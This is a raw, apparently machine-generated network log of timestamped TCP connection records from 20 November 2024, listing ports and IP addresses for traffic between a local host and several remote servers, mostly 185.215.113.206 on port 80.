Nov 20, 2024 14:43:41.071796894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.071921110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.072808981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.072885990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.073308945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.073354959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.073951006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.074210882 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.074244022 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.074249029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.074307919 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.074408054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.074573994 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.074584007 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.074599981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.074899912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.074947119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.075261116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.075747013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.075798988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.076133966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.076881886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.076934099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.077083111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.077400923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.077941895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.078181028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.078227997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.079101086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.079113007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.079149961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.080137014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.080193043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.080265045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.080338955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.080992937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.081005096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.081043959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.081074953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.081943035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082097054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.082099915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082113028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082146883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.082269907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082309961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.082313061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082329035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082361937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.082905054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.082951069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.083085060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.083127022 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.083651066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.083695889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.083842993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.083918095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.084855080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.084903002 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.085016966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.085053921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.085812092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.085865974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.085881948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.085906982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.086740971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.086800098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.087011099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.087616920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.087933064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.087949991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.087995052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.088933945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.089102030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.089173079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.089747906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.089948893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.090020895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.094285965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.094343901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.094455957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.094701052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.095290899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.095304012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.095386982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.095401049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.095411062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.095436096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.095460892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.096395969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.096409082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.096462965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.096482992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.097456932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.097613096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.097661972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.098371029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.098632097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.098722935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.098762035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.099397898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.099447012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.099735022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.099783897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.100464106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.100554943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.100723982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.100769997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.101483107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.101496935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.101540089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.102421045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.102463961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.102868080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.102909088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.103703976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.103768110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.103871107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.103912115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.104466915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.104517937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.104916096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.104964972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.105624914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.105638027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.105685949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.106605053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.106657028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.106821060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.107171059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.107777119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.107789040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.107830048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.108694077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.108747005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.109272003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.109325886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.109909058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.109921932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.109954119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.109972000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.110691071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.110737085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.135353088 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.135492086 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.135807991 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.137165070 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.137202024 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.137607098 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.137612104 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.141628027 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.141691923 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.150676012 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150696039 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150702953 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150721073 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150734901 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150748014 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150762081 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.150772095 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.150813103 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.150832891 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.177550077 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.177567005 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.177917004 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.178267956 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.199831009 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.199970007 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.206532955 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.251897097 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.255352020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.255428076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.255537987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.255589008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.255726099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.255768061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.255924940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.255965948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.256809950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.256851912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.257103920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.257205963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.257750034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.257791996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.257932901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.257972956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.258796930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.258842945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.259305000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.259650946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.259757996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.259865999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.260241032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.260807991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.260838032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.260850906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.260984898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.261841059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.261939049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.261944056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.262051105 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.262834072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.263113976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.263402939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.263641119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.263868093 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.264797926 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.264987946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.265000105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.265012026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.265038013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.265530109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.266064882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.266155958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.266176939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.267066956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.267083883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.267119884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.267143011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.267993927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.268012047 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.268626928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.268681049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.268791914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.269049883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.269062042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.269428015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.270183086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.270347118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.270756006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.270935059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.271009922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.271296978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.271405935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.272044897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.272109985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.273085117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.273802042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.273839951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.273904085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.273926020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.273993969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.274358988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.274410009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.274678946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.275043964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.275881052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.275938988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.279186010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279200077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279210091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279222965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279232025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.279239893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279253006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279259920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.279278994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.279294968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.279320955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.279450893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.280348063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.280391932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.280544043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.281238079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.281594038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.281608105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.281649113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.281837940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.282336950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.282463074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.282473087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.282536983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.283118963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.283129930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.283170938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.284662008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.284672976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.284710884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.285588026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.285599947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.285670996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.285670996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.286329985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.286555052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.286570072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.286614895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.304553032 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.304565907 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.305159092 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.305161953 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.313848019 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.316848040 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.316867113 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.317316055 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.317326069 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.343029976 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.343045950 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.343084097 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.343097925 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.343110085 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.343147993 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.343153954 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.343204975 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.347294092 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.347306013 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.347651005 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.347696066 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.364430904 CET	49868	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:41.364465952 CET	443	49868	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:41.364588022 CET	49868	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:41.364741087 CET	49869	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:41.364764929 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:41.364933014 CET	49869	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:41.367019892 CET	49869	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:41.367031097 CET	443	49869	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:41.367343903 CET	49868	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:41.367358923 CET	443	49868	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:41.388983965 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.389023066 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.389051914 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.389061928 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.389094114 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.389111996 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.406559944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.526058912 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.526079893 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.526129961 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.526154995 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.526180983 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.526204109 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.528258085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.535818100 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.535871983 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.535876989 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.535900116 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.535948992 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.536566973 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:41.536581039 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:41.590468884 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.590543985 CET	443	49860	13.107.246.63	192.168.2.6
